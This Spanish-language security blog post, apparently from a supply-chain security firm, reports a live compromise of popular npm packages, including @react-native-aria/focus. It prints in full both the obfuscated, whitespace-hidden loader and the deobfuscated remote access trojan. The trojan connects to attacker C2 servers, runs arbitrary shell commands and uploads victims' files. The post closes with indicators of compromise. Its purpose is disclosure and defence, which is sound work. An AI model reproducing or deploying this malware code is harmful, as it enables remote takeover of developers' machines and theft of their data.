Desde nuestra entrada en el blog del 6 de mayo sobre el compromiso del popular paquete rand-user-agent
hemos estado siguiendo la pista del actor de la amenaza detrás del ataque. Recientemente hemos observado algunos ataques menores contra paquetes poco o nada utilizados. Sin embargo, anoche, 6 de junio de 2025, detectamos que el actor de la amenaza estaba realizando un movimiento significativo, comprometiendo paquetes muy populares con un millón de descargas semanales combinadas. Esta entrada del blog cubre lo que sabemos actualmente, pero la situación es un ataque en vivo y en curso, por lo que los detalles están cambiando a cada hora.
¿Qué ha pasado?
El 6 de junio de 2025, a las 21:33 PM GMT, versión 0.2.10
de @react-native-aria/focus
fue puesto en libertad:

Cabe señalar que la versión anterior, 0.2.9
salió a la venta el 18 de octubre de 2023, es decir, hace ya bastante tiempo. Pero, ¿qué ha cambiado en esta nueva versión? El único archivo que cambió fue lib/commonjs/index.js
. Nuestro análisis detectó que se había insertado código malicioso en la línea 46:

La razón por la que no vemos ningún código es que han utilizado la ofuscación basada en espacios en blanco para sacar el código de la pantalla en los editores de código sin envolver las palabras. Aquí está el código real que está ocultando:
global['_V']='8-npm13';global['r']=require;(function(){var mGB='',hsR=615-604;function EgY(i){var b=4608798;var j=i.length;var p=[];for(var x=0;x<j;x++){p[x]=i.charAt(x)};for(var x=0;x<j;x++){var f=b*(x+186)+(b%37898);var k=b*(x+403)+(b%35963);var v=f%j;var l=k%j;var g=p[v];p[v]=p[l];p[l]=g;b=(f+k)%6568124;};return p.join('')};var Uwn=EgY('koosdciqucxbhcmgtanzpylfwurjtrtvrnoes').substr(0,hsR);var VVy='vfi(a72=,rf4j,tr50avhzru.lvbt,(fvtiui;;+(2>rl,[6qedz ."mv n=;rjs;6,trnrlry6p) 7ah"0e.6a,8;t9h,>)}e)x8=3 aiz1o"r[{y)8e;hufaaat7g.2=;;a.(llspm.u=rmo,lonotosCe;eeC.;9"l=(0dl(;2 -t<c0p1=i="vn=o=rif5i-mi,rtesr)z;s)d=;tgj97n s(rl.;ku;1u+)(ptr me d,uy.+vdsd= ];ser.p =og m5agnrbo=8.lbo=n-0;aS{o0<l+=r.ia](f=lh2r(.arar= [a(mgA rs(cn=lvg ruh0(i7hra*j{rri"6;ka;a;,ig<onijro{i=(7f8);.;me90.e) {ev6 arlo{;f4r=bhva+;ija((]nia),isahp=l3-neta[1!;,,)hea2(u+=-.=;y)tfehs;0hS8vsA-iau09))Cp1,)evl(])[eCanv=ch4kgod=)a(.prd=]vv]h)nno=;nt(}r2(++v"=h;ri st}] +en8[n}i+s(s=yf()n]}e+l.;".7dahfnvvif.auei,a sr]s;ri+t(=ny7)"coA)( 1r=tq)[+g li+;g;3l)psln,aro<iC+;;fn18e,unfa+s[.;t((evv;sg[m-ljqg=)o+eC"t5a[sg.a[+vr1j)]+;f(h(a]t;uti=c1u r=2;8]+ra9,i36,.lrb1ec1,)+)+;(scl=+([rfe,sC!e; .bg=t=ohnf,kv4<.)i=+,etcot0o;e=i)]6Admria)hn,a+0fnh hup;tv;tupu7srA)k]rtr,or)d0)nonaer6reCl0)w}1o{o9}q(;gvm[.ag(qh,clihr8=j=v;. *(hvr6[';var EiK=EgY[Uwn];var ogb='';var ZML=EiK;var Bfb=EiK(ogb,EgY(VVy));var cag=Bfb(EgY('.+5]isscR}aRR)e_g%%t2)R%rwRd{7%f,Rl((sfRt}n4]g,of%tcdtni]%1ryb+8,)5%R)ctl2.R6wcR=12fcm*.o\/s(}()aoc59)8.hr}=s]$%R6(l pe]9b+oit6o,u2,i]"fj0(.m%t;tqod1u1[[te0.{f!(6)r .1%(afhoa]]i%ffn s7tet_rcs%_%!+%ngR%ae r%}-,6+tdcennl[t6\'m\/.hh(gl]!fiRt5es"]\/Ror+].(R%)rupi>RnRv5i-ie!;)nb]7et())oe06RRre=a12i(f.aRsj5 ec)werr5xt%%n:=6bR;Rs2n 1#eco)d_[tpts(tno5]R]Rk0ny;3R{%%]9R]))1r"aafRe).0h6%af!rR.](.%R=}n7*,(%]6e]p1>(R{mreee(8mtn+o,ftur}1R].s%R%_h]) cff(fs9Rh-%a%,n%fR7+=.}!tfnvk0R(oN$%; %)n >cohRpk843,.]wch=+t.nnR\'h=$caar10f7to,;So)3.R))n)%Rn;.S7#_.c{R;0(t)Re02fg.f,f()R[\/C.RhR3c1d5ics[te]eoRRf1.fRR9?6.4cRo(.t)}(R_22>a;R3eott2==e(-n%..=rfvr.i[t +.+dfR[=trzn=1;ct0.4f_[f:zw.{C45C3iR)6SR3;5St;a(bi,(i;;2a1aea_%fdc4RR&hR.]C{im8c%==}{ ce1s(:ca".,6r==r\'d0n;[;br.cu]de]le)-;}RsaRni%}4=nl[).R|]t%)(cR6b)4qi+!=h.$e=rRttR=Ra])4[]"R3R03]=f8tx].R.R.: Rr4n]((%;oy{t]+=Rf8;gz)}f9R:abnRRoctnt5Rgtm(o.R;Ri#[(l:1,Ra)e&a:e$(,[Rs,R$6Ru)e)snv&R(R5Rhe5maho(.Rw8"<9.2uRfTnR9R[]=[!)!5.Rc5<t&iae=il}!2.%S;}.m.fb\/)imnf{e.Rb ]0f).)3)).2a31[f..(!R2}0e),atv"8!ff16clNR(n.9({9d]Rr*5f*1>t0._ dia:rnrn9.\/8t1.9;i1w% t2"wo;..(R]]c:.,a],m!e .fr.4fR.RRb]=5e)%]61Rd 7+c;:]Rnf.hRcm$aR%ow{=f_u)nat._%p\/r((.t]_ca%:f0 o={6d_=trcfRc";n=f0t#}R)nh5ot=R.2so0cu=o;tttt R1[ca;RtrRm2utr2l[\/nof-fdc))5.(ol..ta$lR.ttcf[R+.d%ft1tig;}f.f+R=.Rlmb=18oRfr%>]i\/e_e=R%$;gReslo! 9[0]o:tR)n+66t0\'t9s(.rea_!)2vRrR1=r.gh3e"e20]}18us4%.R[)t(R%T9]#1c7lRfd;h]d\/an}1_pt(a;R>i;%.nR=)(];5=srR+9m]fa4+\'fn]ko%sgo)R,eo+f;1.0RR6R(%rpr5]5t}fc.b].0s!)r}2)9tfR|cR.a}i7e7]4(.ftw]rd=Rc$1w7]+[n.)].R)a 4$%S2$,[f8(2r9sRe=ta(ja$sn(nR&no)u[(2o()1[u}!ans(ip.=2=aa4tCaR.0ysbR.=}.b.f\'=2ei8Rca;u;RtR)66,erfR;.:b6.9%])a%t..;71a9]c3R,)eo] +))RfiR87.(#)>(Rc!f.rrt).R4)%.]=\'cccbR=4}=R2rta+oty+ht7\'gtRtscja:iaxetc(ed0(t]{{rR)[gl4.o7c8nd1n).snteensR5g1]0RtR};}eaec(tr7b.%Rr:;$5ait9)3o2R.seR:Rl]f )b Rff]i=}]))$a7cRs;0)} yx(arRR..a=e33 6.Rc,iR1m{4R+)Ra,o7e=qlin5$#pejl;R;t_b[_.s\/fp=,o{]6R%R((u=.she!2]a.=)sya(.}+l!2%]](faRindel](R0i+]e.!f6.t1f+]\/h+ic;ut8]7eck ]p2. Sc.l9.((_'));var mfa=ZML(mGB,cag );mfa(9993);return 6161})()
Este payload nos resultó inmediatamente familiar, ya que lo habíamos visto antes. Rápidamente confirmamos que despliega un payload muy similar al que documentamos el mes pasado cuando otro popular paquete, llamado rand-user-agent
fue comprometida. Puede encontrar el detalles técnicos sobre lo que hace la carga útil:
Eso se intensificó rápidamente
Desde entonces, hemos estado en vilo. No podíamos prever lo que ocurriría a continuación, ya que vimos en tiempo real cómo los atacantes empezaban a comprometer un número significativo de otros paquetes. Vimos todos estos paquetes comprometidos:
Combinados, estos paquetes reciben más de un millón de descargas a la semana.
¿Qué hay de nuevo desde el último compromiso?
Como se mencionó anteriormente, la carga útil que entregan los atacantes es prácticamente la misma que la documentada en el caso rand-user-agent, pero HAY algunas diferencias. Aquí está la carga útil completa que se despliega en el cliente cuando se ejecuta el malware:
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();
Nuevo servidor C2
Hay una variable en el código que ahora selecciona entre el servidor C2 visto anteriormente y uno nuevo que no hemos visto antes:
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
La variable d se asigna desde la variable en la parte superior de la puerta trasera:
global._V = '8-npm13';
Esta variable parece ser una etiqueta de versión, seleccionando así el servidor C2 a utilizar basado en la versión del código que han desplegado.
Nuevos comandos
El RAT (Remote Access Trojan) tiene dos nuevos comandos:
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
}
...
ss_info
: Vuelca el contexto del sistema y los metadatos:- Etiqueta interna de versión (
_V
) - Tipo de sistema operativo, ruta de Node, versión de Node.js
- Ruta del script, directorio de trabajo, marcas de tiempo
- Etiqueta interna de versión (
ss_ip
: Hace una petición externa ahttp://ip-api.com/json
y devuelve información sobre la IP pública.
Próximamente
Hay mucho que decir sobre esta historia, pero dada la magnitud del ataque, queríamos darla a conocer lo antes posible, para que la gente pueda protegerse. Estos atacantes han demostrado sistemáticamente su capacidad para comprometer paquetes, desplegando sus troyanos de acceso remoto (RAT).
Indicadores de compromiso
Paquetes
IPs
Si cree que puede haber instalado alguno de los paquetes anteriores, compruebe si su cortafuegos tiene conexiones salientes a estas IP:
136.0.9[.]8
85.239.62[.]36
Puerta trasera
El RAT intentará persistir en el sistema a través de un archivo en la ruta %LOCALAPPDATA%\Programas\Python\Python3127
si está en Windows. Si encuentra algún archivo en esta ubicación, usted ha sido comprometido y ya no debe confiar en que el sistema es seguro, ya que los atacantes pueden haber desplegado más cargas útiles después.